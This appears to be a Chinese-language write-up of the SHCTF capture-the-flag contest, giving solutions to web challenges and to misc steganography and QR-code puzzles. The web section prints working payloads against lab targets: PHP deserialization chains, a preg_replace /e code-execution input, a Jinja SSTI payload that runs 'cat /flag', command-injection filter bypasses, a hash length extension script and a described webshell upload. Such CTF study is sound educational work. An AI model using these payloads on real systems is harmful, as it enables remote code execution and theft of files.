官方wp
SHCTF-Official WP
WEB
[WEEK1]ezphp
深入研究preg_replace \e模式下的代码执行_preg_replace /e-CSDN博客
preg_replace函数/e 模式下的代码执行+一道例题 - Hel10 - 博客园
慎用preg_replace危险的/e修饰符(一句话后门常用) - 稻禾盛夏 - 博客园
payload: GET: ?code=${phpinfo()} POST: pattern=.* |
Ctrl+f 搜索flag即可
[WEEK1]ez_serialize
[CTF]PHP反序列化总结_ctf php反序列化-CSDN博客
0x013 pop链构造解释_哔哩哔哩_bilibili
exp:
PHP <?php
class A{ public $var_1='flag.php'; public function __invoke(){ include($this->var_1); } }
class B{ public $q; public function __wakeup() { if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) { echo "hacker"; } }
} class C{ public $var; public $z; public function __toString(){ return $this->z->var; } }
class D{ public $p; public function __get($key){ $function = $this->p; return $function(); } } $a=new A(); $d=new D(); $d->p=$a; $c=new C(); $b=new B(); $c->z=$d; $c->var=$b; $b->q=$c; echo serialize($b);
?> |
?payload=O:1:"B":1:{s:1:"q";O:1:"C":2:{s:3:"var";r:1;s:1:"z";O:1:"D":1:{s:1:"p";O:1:"A":1:{s:5:"var_1";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}} |
[WEEK1]babyRCE
uniq没过滤
flag用fl?g代替
分号用%0a代替
空格用%09代替
[WEEK1]生成你的邀请函吧~
Python import requests
# 定义API端点URL url = "url/generate_invitation" #放url
# 准备请求体数据 data = { "name": "Yourname", "imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=QQnumb&spec=640&img_type=jpg" }
# 发送POST请求 response = requests.post(url, json=data)
# 检查响应状态码 if response.status_code == 200: # 以二进制方式写入响应内容到文件 with open("invitation.jpg", "wb") as f: f.write(response.content) print("邀请函已保存为 invitation.jpg") else: print("请求失败,状态码:", response.status_code) |
[WEEK1]飞机大战
搜索won
解unicode 再转base64
[WEEK1]登录就给flag
爆破密码即可,这里用的弱口令字典爆破
[WEEK1]1zzphp
num[]=1绕过前两个if
后面两个if绕过如下blog.csdn.net
Python import requests
data={"c_ode":"a"*1000000+"2023SHCTF"} url="http://112.6.51.212:30028/?num[]=1" res = requests.post(data=data,url=url)
print(res.text) |
[WEEK2]no_wake_up
绕过wake up即可,利用伪协议读flag.php
构造payload:
PHP <?php
class flag{ public $username='admin'; public $code='php://filter/read=convert.base64-encode/resource=flag.php';} $a=new flag(); echo serialize($a); ?> |
O:4:"flag":2:{s:8:"username";s:5:"admin";s:4:"code";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}
给前面的属性值+1即可绕过
?try= O:4:"flag":3:{s:8:"username";s:5:"admin";s:4:"code";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";} |
[WEEK2]EasyCMS
Taocms 代码注入漏洞(CVE-2022-25578)_taocms演示系统漏洞
dirsearch扫到后台的登录地址
URL/admin/admin.php
账号:admin(默认)
密码:tao (默认)
成功登录管理员账户
在文件管理处新建一个php文件,内容为一句话木马,然后保存访问执行系统命令即可
题目名称:[WEEK2]MD5的事就拜托了
知识点:parse_url() 套娃,intval()漏洞 哈希长度拓展攻击
解题步骤:
PHP <?php $url = 'host://SHCTF:pass@user/SHCTF?args=value#anch'; print_r(parse_url($url)); echo parse_url($url, PHP_URL_PATH); ?> |
第一个if:parse_url函数的解释和绕过 让$schema =host 则$$schema=$host 让$host=user $z$$schema=$host=user 让user=SHCTF 则$$$schema=SHCTF POST:SHCTF=host://SHCTF:pass@user/SHCTF?args=value#anch 第二个if: 利用intval(400.123)=400的特性 ?length=4.1234 |
$flag md5值:c1514bd780fad6fcaf27bde0344acee0 长度:42 $num,$SHCTF均可控 if($_POST['SHCTF']===md5($flag.urldecode($num))) #这里的.和+是一个意思,都是拼接 假如$flag=aaa , $num=123 则拼接为aaa123 这里涉及到哈希长度拓展攻击 |
MD5的Hash长度扩展攻击原理及应用
下面是一个py脚本,能实现hashpump的功能(来自hash-ext-attack)
Python import base64 import hashlib import hmac import struct import sys import time import urllib.parse
from common.md5_manual import md5_manual from loguru import logger from common.crypto_utils import CryptoUtils
class HashExtAttack: """ 哈希长度扩展攻击,解决 hashpump 在win下使用困难的问题 目前仅支持md5,如果你对认证算法有了解可以手动改写str_add中的字符串拼接方式 """
def __init__(self): self.know_text = b"" self.know_text_padding = b"" self.new_text = b"" self.rand_str = b'' self.know_hash = b"3c5a36dd888251601d36bbc184648717" self.key_length = 15
def _padding_msg(self): """填充明文""" logger.debug("填充明文") self.know_text_padding = md5_manual.padding_str(self.know_text) logger.debug(f"已知明文填充:{self.know_text_padding}")
def _gen_new_plain_text(self): """生成新明文""" self.new_text = self.know_text_padding + self.rand_str # b'80' + 55 * b'\x00' + struct.pack("<Q", 512 + len(self.rand_str) *8) logger.debug(f"new_text: {self.new_text}")
def split_hash(self, hash_str: bytes): by_new = CryptoUtils.trans_str_origin2_bytes(hash_str.decode()) return struct.unpack("<IIII", by_new)
def _guess_new_hash(self) -> tuple: """生成新hash""" # 第一步先生成新的字符串 # 对已知明文进行填充 self._padding_msg() # 第二步 生成新明文 self._gen_new_plain_text() # 第三步 生成新hash(基于已知hash进行计算) # 3.1 hash拆分成4个分组 hash_block = self.split_hash(hash_str=self.know_hash) md5_manual.A, md5_manual.B, md5_manual.C, md5_manual.D = hash_block tmp_str = md5_manual.padding_str(self.new_text) logger.debug(f"新明文填充tmp_str({len(tmp_str)}): {tmp_str}") logger.debug(f"参与手工分块计算的byte:{tmp_str[-64:]}") md5_manual.solve(tmp_str[-64:]) self.new_hash = md5_manual.hex_digest()
return self.new_text, self.new_hash
def run(self, know_text, know_hash, rand_str, key_len) -> tuple: # self.know_text = input("请输入已知明文:") self.know_text = ("*" * key_len + know_text).encode() # 密钥拼接 self.know_hash = know_hash.encode() self.rand_str = rand_str.encode()
self._guess_new_hash() logger.info(f"已知明文:{self.know_text[key_len:]}") logger.info(f"已知hash:{self.know_hash}") logger.debug(f"任意填充:{self.rand_str}") logger.info(f"新明文:{self.new_text[key_len:]}") logger.info(f"新明文(url编码):{urllib.parse.quote(self.new_text[key_len:], safe='&=')}") # logger.debug(f"新明文:{base64.b64encode(self.new_text[key_len:])}") logger.info(f"新hash:{self.new_hash}") return self.new_text[key_len:], self.new_hash
def input_run(self): time.sleep(0.2) self.run(input("请输入已知明文:"), input("请输入已知hash: "), input("请输入扩展字符: "), int(input("请输入密钥长度:")))
def test(self): self.run( "order_id=70&buyer_id=17&good_id=38&buyer_point=300&good_price=888&order_create_time=1678236217.799935", "178944d4a39e4e4af6522c6de6cb24c5", "&good_price=1", 50)
hash_ext_attack = HashExtAttack()
if __name__ == '__main__':
logger.remove() logger.add(sys.stderr, level="INFO") hash_ext_attack.input_run() |
明文也就是$flag我们不知道,直接给空
然后hash和长度都给$flag的,扩展字符随意
payload: Get: url/?length=%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%00abcd POST: SHCTF=738951256b789b8e5daef107b88a7a97 |
[WEEK2]ez_ssti
SSTI(模板注入) 解析 和 ctf 做法_ctf flask模板注入-CSDN博客
Payload: GET:?name= {% print(url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()"))%} |
题目名称:[WEEK2]serialize
知识点:正则绕过,_toString _wakeup _get 非法参数名 伪协议
解题步骤:
PHP反序列化
exp:
<?php class misca{ public $gao; public $fei; public $a; } class musca{ public $ding; public $dong; } class milaoshu{ public $v='php://filter/read=convert.base64-encode/resource=flag.php'; } $misca = new misca(); $musca= new musca(); $milaoshu=new milaoshu(); //创建对象 $musca ->ding = $misca; //把对象misca给ding,在misca里没有$dong这个属性,触发_get $misca ->gao = &$misca->a; //把a的地址给gao,在方法_get里导致ding的值赋值给了$a $misca ->fei = $milaoshu; //fei的值设置为对象milaoshu,由die()触发_toString echo serialize(array($musca));//利用数组绕过正则匹配 |
[WEEK3] 快问快答
抓包看到是post传的答案
脚本:
Python import requests from bs4 import BeautifulSoup import re import time
# 创建会话 s = requests.Session() url = 'http://112.6.51.212:30842/' #url
# 循环答题 correct_answers = 0 for i in range(70): # 除法运算时有些报错,影响了循环,这里改70 # 获取题目 r = s.get(url) r.encoding = 'utf-8' soup = BeautifulSoup(r.text, "html.parser") question_text = soup.find("h3").text print(question_text)
# 使用正则表达式从题目中提取数字和运算符 matches = re.match(r'题目:(\d+) (异或|与|[+\-x÷]) (\d+) =', question_text) # 等待一秒 time.sleep(1) if matches: num1 = int(matches.group(1)) operator = matches.group(2) num2 = int(matches.group(3))
if operator == '+': answer = num1 + num2 elif operator == '-': answer = num1 - num2 elif operator == 'x': answer = num1 * num2 elif operator == '÷': answer = num1 / num2 elif operator == '异或': answer = num1 ^ num2 elif operator == '与': answer = num1 & num2
# 准备POST数据 data = {"answer": answer}
# 发送答案 response = s.post(url, data=data) print(f"答案:{answer}") print(response.text) # 输出对应的response.text |
能用就行脚本)
MISC
[WEEK1]签到题
如题,两个64解密即可
flag{this_is_flag}
[WEEK1]也许需要一些py
打开flag文件是png结构,缺少文件头,补上即可,下面还可以看到描述有摩斯密码
加密后的md5,暂时不管,摩斯密码解密一下
结合描述
THIS1SY0UKEY转小写即可
这是flag,但是大小写不是正确的,结合刚才得到的md5可以推测
md5解密后对应的是正确大小写的flag,但是md5只能加密不能解密
所以这里先把所有的大小写可能罗列,然后计算其md5值,并与我们的md5值进行比较
脚本如下
Python import hashlib
# 目标MD5哈希值 MD5 = "63e62fbce22f2757f99eb7da179551d2" # 已知的正确字母的字符串 key = "pNg_and_Md5_SO_GreaT"
# 递归函数,生成所有可能的大小写组合 def generate_variants(current_variant, index): if index == len(current_variant): md5_hash = hashlib.md5(current_variant.encode()).hexdigest() if md5_hash == MD5: print(f"找到匹配的字符串: {current_variant}") return return
generate_variants(current_variant, index + 1) # 不更改当前字符的大小写 if current_variant[index].isalpha(): new_variant = current_variant[:index] + current_variant[index].swapcase() + current_variant[index+1:] generate_variants(new_variant, index + 1) # 更改当前字符的大小写
generate_variants(key, 0) |
flag{Png_AnD_md5_so_GReAt}
[WEEK1]ez-misc
01转二维码脚本
Python from PIL import Image from zlib import *
MAX = 29 # 先数出数字的比例,这题是29*29 pic = Image.new("RGB",(MAX,MAX)) str ="xxx" #放01文本进去 i=0 for y in range(0,MAX): for x in range(0,MAX): if(str[i] == '1'): pic.putpixel([x,y],(0,0,0)) else:pic.putpixel([x,y],(255,255,255)) i = i+1 pic.show() #pic.save("flag.png") 保存就使用这个,保存在当前目录 |
微信扫码得到
hit_k1sme4_4_fun
拿这个密码解密加密文件得到
改后缀zip打开
解密下面的二进制码得到rockyou
但rockyou不是flag.txt的解压密码,这里的意思是用kali自带的字典rockyou.txt进行字典爆破密码
Kali自带密码字典rockyou.txt解压-CSDN博客
我这里运行不动不知道原因,就把字典拉到win的ARCHPR上用了
密码:palomino
字频统计
flag{SHyk1sme4}
[WEEK1]Jaeger lover
翻译:你知道环太平洋吗?
这里的标题jaeger是环太平洋里的机甲
zip里面是个加密的png,Typhoon的图片底部有base文本
you know the Windows is a system for PC,but do you know the what is thr Op. System for this Jaeger?
要我们找jaeger的操作系统,这里考察搜索能力,操作如下
https://pacificrim.fandom.com/wiki/Crimson_Typhoon_(Jaeger)
key:Tri-Sun Horizon Gate
但它不是压缩包的密码,根据题目描述,这张Typhoon还有一个操作没做
steghide解密
.*+#1Ao/aeS 拿到这一串key 解密zip文件
拿到图片
改宽高
K34-759183-191,现在只剩一步了,根据图片名字secret
尝试oursecret解密,图片选择修复后的图片,密码:K34-759183-191
flag{A1l_boys_aRe_Jaeger_L0ver!!}
[WEEK1]Steganography
第一张图010打开尾部解密base64
12ercs.....909jk
第二张图得到xqwed,把它放入.....中
key:12ercsxqwed909jk
解压得到flag
flag{4d72e4f3-4d4f-4969-bc8c-a2f6f7a4292c}
[WEEK1]可爱的派蒙捏
拿到一张图片
binwalk分离
两个文本非常相似,中文,代码文本比较
一个一个打出来即可
flag{4ebf327905288fca947a}
[WEEK1]message
PDU编码解码工具
SHCTF{ba978405-b1c8-847c-8e69-f62177e4c087}
[WEEK2]远在天边近在眼前
里面很多嵌套的文件夹,目录即为flag
Python import zipfile import os
# 指定ZIP文件路径 zip_file_path = "C:/Users/Nanian233/Downloads/Compressed/find_me.zip"
# 打开ZIP文件 with zipfile.ZipFile(zip_file_path, 'r') as zip_file: # 列出ZIP文件中的所有内容 for item in zip_file.namelist(): # 输出文件或文件夹的名称 print("ZIP文件中的内容:", item) |
注意:如果先解压zip再去查看的话,?会被转化为_,这应该跟win解压的文件名会自动转化某些字符有关
所以这里的脚本是直接打开zip然后继续查看里面的内容
删除/ 并且逆向即可
[WEEK2]奇怪的screenshot
知识点: CVE-2023-28303
参考:羊城杯2023 ez_misc
工具地址:frankthetank-music/Acropalypse-Multi-Tool: Easily detect and restore Acropalypse vulnerable
magnet:?xt=urn:btih:flagCVE-2023-28303-Win11-Snipping-t00l-is-n0t-Secure
flag{CVE-2023-28303-Win11-Snipping-t00l-is-n0t-Secure}
以下四题是自己出的,详细wp已写入官方wp中,这里直接演示操作
[WEEK2]喜帖街
知识点:频谱图 steghide Ook
详细wp已写入官方wp中
Steghide extract -sf
password:LeeTung
Brainfuck/Ook! Obfuscation/Encoding [splitbrain.org]
[WEEK2]可爱的洛琪希
知识点: 伪加密 base64转jpg exif 维吉尼亚
详细wp已写入官方wp中
CTF——zip伪加密_xiaozhaidada的博客-CSDN博客
打开得到一大串base64
保存jpg文件,右键属性打详细信息
736c6e6f7b52626b795f71696966686b76217d
010打开底部拿到key:nanian
[WEEK2]图片里的秘密
知识点:图片分离 单图盲水印
详细wp已写入官方wp中
binwalk题目图片,获得一个压缩包
打开里面的图片进行盲水印提取即可
[WEEK2]表里的码
知识点:excel后缀名 粗细字体转二维码
详细wp已写入官方wp中
改后缀为xlsx打开
Ctrl+H打开替换,把粗体换成填充黑色的格子即可
扫码得到flag
[WEEK3]尓纬玛
二维码之QR码生成原理与损坏修复 - luogi - 博客园
qrazybox工具
相同操作:解得一半的flag
ctftime.org
我们把final data bits里的第一行数据进行二进制解密
去掉前4(表示模式)+8(表示长度)位和后4+8位得到完整flag
二维码是如何设计出来的?
格式信息存储了两次,因此即使QR码被部分遮挡也可以读取。
「QRCode 标准阅读」#0 总章
二维码结构: 功能图案(function patterns) 静默区(quiet zone):至少4个单位宽 特征符(finder pattern):7x7黑圈 5x5白圈 3x3黑块 分割线(separator):在特征符周围的一圈全白区域 时序图案(timing patterns):第7行第7列的两条黑白条纹 对齐图案(alignment patterns):版本1无,版本2-6 1个,版本7-13 6个……(附录E) 编码区域(encoding region) 格式信息(format information):左上角分割线外一圈,左下角分割线右侧,右上角分割线下侧 版本信息(version information):版本7后才有,在左下分割线上侧,右上分割线左侧 数据及纠错码区域 (data and errorcorrectioncodewords) |